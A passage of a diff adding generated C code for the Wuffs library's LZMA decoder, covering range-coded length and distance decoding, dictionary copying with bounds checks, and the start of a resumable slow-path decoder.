1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 10u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 255u) + 18u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ } while (0); -+ } while (0); -+ v_dist = (v_rep0 + 1u); -+ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); -+ goto exit; -+ } -+ v_pos += ((uint64_t)(v_len)); -+ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_adj_dist > self->private_impl.f_dict_seen) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); -+ goto exit; -+ } -+ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); -+ while (v_wb_index >= 9223372036854775808u) { -+ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); -+ } -+ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ if (v_len < v_adj_dist) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_match_byte = ((uint32_t)(iop_a_dst[-1])); -+ iop_a_dst--; -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_prev_byte = iop_a_dst[-1]; -+ continue; -+ } else if (v_len == v_adj_dist) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history( -+ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_match_byte = ((uint32_t)(iop_a_dst[-1])); -+ iop_a_dst--; -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ v_prev_byte = iop_a_dst[-1]; -+ continue; -+ } -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); -+ v_len -= v_adj_dist; -+ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_len + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ } -+ if (v_dist >= 8u) { -+ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); -+ v_match_byte = (v_match_cusp >> 8u); -+ v_prev_byte = ((uint8_t)(v_match_cusp)); -+ } else { -+ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); -+ v_match_byte = (v_match_cusp >> 8u); -+ v_prev_byte = ((uint8_t)(v_match_cusp)); -+ } -+ } -+ label__outer__break:; -+ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; -+ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); -+ self->private_impl.f_stashed_bits = v_bits; -+ self->private_impl.f_stashed_range = v_range; -+ self->private_impl.f_stashed_state = v_state; -+ self->private_impl.f_stashed_rep0 = v_rep0; -+ self->private_impl.f_stashed_rep1 = v_rep1; -+ self->private_impl.f_stashed_rep2 = v_rep2; -+ self->private_impl.f_stashed_rep3 = v_rep3; -+ self->private_impl.f_stashed_pos = v_pos; -+ self->private_impl.f_stashed_pos_end = v_pos_end; -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func lzma.decoder.decode_bitstream_slow -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream_slow( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_range = 0; -+ uint32_t v_state = 0; -+ uint32_t v_rep0 = 0; -+ uint32_t v_rep1 = 0; -+ uint32_t v_rep2 = 0; -+ uint32_t v_rep3 = 0; -+ uint32_t v_reptmp = 0; -+ uint32_t v_rep = 0; -+ uint64_t v_pos = 0; -+ uint64_t v_pos_end = 0; -+ uint32_t v_lc = 0; -+ uint64_t v_lp_mask = 0; -+ uint64_t v_pb_mask = 0; -+ uint32_t v_prob = 0; -+ uint32_t v_threshold = 0; -+ uint32_t v_tree_node = 0; -+ uint8_t v_prev_byte = 0; -+ uint32_t v_match_byte = 0; -+ uint32_t v_match_cusp = 0; -+ uint32_t v_len_state = 0; -+ uint32_t v_slot = 0; -+ uint32_t v_len = 0; -+ uint32_t v_lanl_offset = 0; -+ uint32_t v_lanl_old_offset = 0; -+ uint32_t v_lanl_index = 0; -+ uint32_t v_num_extra_bits = 0; -+ uint32_t v_dist_extra_bits = 0; -+ uint32_t v_high_bit_was_on = 0; -+ uint32_t v_i = 0; -+ uint32_t v_index_ao00 = 0; -+ uint32_t v_index_ao41 = 0; -+ uint32_t v_index_lit = 0; -+ uint32_t v_index_len = 0; -+ uint32_t v_index_small_dist_base = 0; -+ uint32_t v_index_small_dist_extra = 0; -+ uint32_t v_index_small_dist = 0; -+ uint32_t v_index_large_dist = 0; -+ uint32_t v_dist = 0; -+ uint32_t v_adj_dist = 0; -+ uint64_t v_wb_index = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream_slow; -+ if (coro_susp_point) { -+ v_bits = self->private_data.s_decode_bitstream_slow.v_bits; -+ v_range = self->private_data.s_decode_bitstream_slow.v_range; -+ v_state = self->private_data.s_decode_bitstream_slow.v_state; -+ v_rep0 = self->private_data.s_decode_bitstream_slow.v_rep0; -+ v_rep1 = self->private_data.s_decode_bitstream_slow.v_rep1; -+ v_rep2 = self->private_data.s_decode_bitstream_slow.v_rep2; -+ v_rep3 = self->private_data.s_decode_bitstream_slow.v_rep3; -+ v_rep = self->private_data.s_decode_bitstream_slow.v_rep; -+ v_pos = self->private_data.s_decode_bitstream_slow.v_pos; -+ v_pos_end = self->private_data.s_decode_bitstream_slow.v_pos_end; -+ v_lc = self->private_data.s_decode_bitstream_slow.v_lc; -+ v_lp_mask = self->private_data.s_decode_bitstream_slow.v_lp_mask; -+ v_pb_mask = self->private_data.s_decode_bitstream_slow.v_pb_mask; -+ v_tree_node = self->private_data.s_decode_bitstream_slow.v_tree_node; -+ v_prev_byte = self->private_data.s_decode_bitstream_slow.v_prev_byte; -+ v_match_byte = self->private_data.s_decode_bitstream_slow.v_match_byte; -+ v_len_state = self->private_data.s_decode_bitstream_slow.v_len_state; -+ v_slot = self->private_data.s_decode_bitstream_slow.v_slot; -+ v_len = self->private_data.s_decode_bitstream_slow.v_len; -+ v_lanl_offset = self->private_data.s_decode_bitstream_slow.v_lanl_offset; -+ v_num_extra_bits = self->private_data.s_decode_bitstream_slow.v_num_extra_bits; -+ v_dist_extra_bits = self->private_data.s_decode_bitstream_slow.v_dist_extra_bits; -+ v_i = self->private_data.s_decode_bitstream_slow.v_i; -+ v_index_lit = self->private_data.s_decode_bitstream_slow.v_index_lit; -+ v_index_len = self->private_data.s_decode_bitstream_slow.v_index_len; -+ v_index_small_dist_base = self->private_data.s_decode_bitstream_slow.v_index_small_dist_base; -+ v_index_small_dist_extra = self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra; -+ v_index_large_dist = self->private_data.s_decode_bitstream_slow.v_index_large_dist; -+ v_dist = self->private_data.s_decode_bitstream_slow.v_dist; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; -+ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); -+ v_bits = self->private_impl.f_stashed_bits; -+ v_range = self->private_impl.f_stashed_range; -+ v_state = self->private_impl.f_stashed_state; -+ v_rep0 = self->private_impl.f_stashed_rep0; -+ v_rep1 = self->private_impl.f_stashed_rep1; -+ v_rep2 = self->private_impl.f_stashed_rep2; -+ v_rep3 = self->private_impl.f_stashed_rep3; -+ v_pos = self->private_impl.f_stashed_pos; -+ v_pos_end = self->private_impl.f_stashed_pos_end; -+ v_lc = self->private_impl.f_lc; -+ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); -+ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); -+ while ( ! (self->private_impl.p_decode_bitstream_slow != 0)) { -+ if (v_pos >= v_pos_end) { -+ self->private_impl.f_end_of_chunk = true; -+ break; -+ } -+ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); -+ if (v_state >= 7u) { -+ v_lanl_offset = 256u; -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_match_byte <<= 1u; -+ v_lanl_old_offset = v_lanl_offset; -+ v_lanl_offset &= v_match_byte; -+ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); -+ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ } else { -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ } -+ v_prev_byte = ((uint8_t)(v_tree_node)); -+ self->private_data.s_decode_bitstream_slow.scratch = v_prev_byte; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (iop_a_dst == io2_a_dst) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ goto suspend; -+ } -+ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_bitstream_slow.scratch)); -+ v_pos += 1u; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); -+ continue; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); -+ v_len = ((v_tree_node & 7u) + 2u); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_7 = *iop_a_src++; -+ v_c8 = t_7; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_8 = *iop_a_src++; -+ v_c8 = t_8; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_9 = *iop_a_src++; -+ v_c8 = t_9; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 10u); -+ v_len_state = 3u; -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_10 = *iop_a_src++; -+ v_c8 = t_10; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_11 = *iop_a_src++; -+ v_c8 = t_11; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 255u) + 18u); -+ v_len_state = 3u; -+ } while (0); -+ v_slot = 1u; -+ while (v_slot < 64u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); -+ v_slot = (v_slot << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); -+ v_slot = ((v_slot << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_12 = *iop_a_src++; -+ v_c8 = t_12; -+ } -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_slot &= 63u; -+ v_rep = v_slot; -+ if (v_slot < 4u) { -+ } else if (v_slot < 14u) { -+ v_num_extra_bits = ((v_slot >> 1u) - 1u); -+ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); -+ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); -+ v_index_small_dist_extra = 1u; -+ v_dist_extra_bits = 0u; -+ v_i = 0u; -+ while (v_i < v_num_extra_bits) { -+ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); -+ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); -+ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); -+ v_i += 1u; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); -+ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); -+ 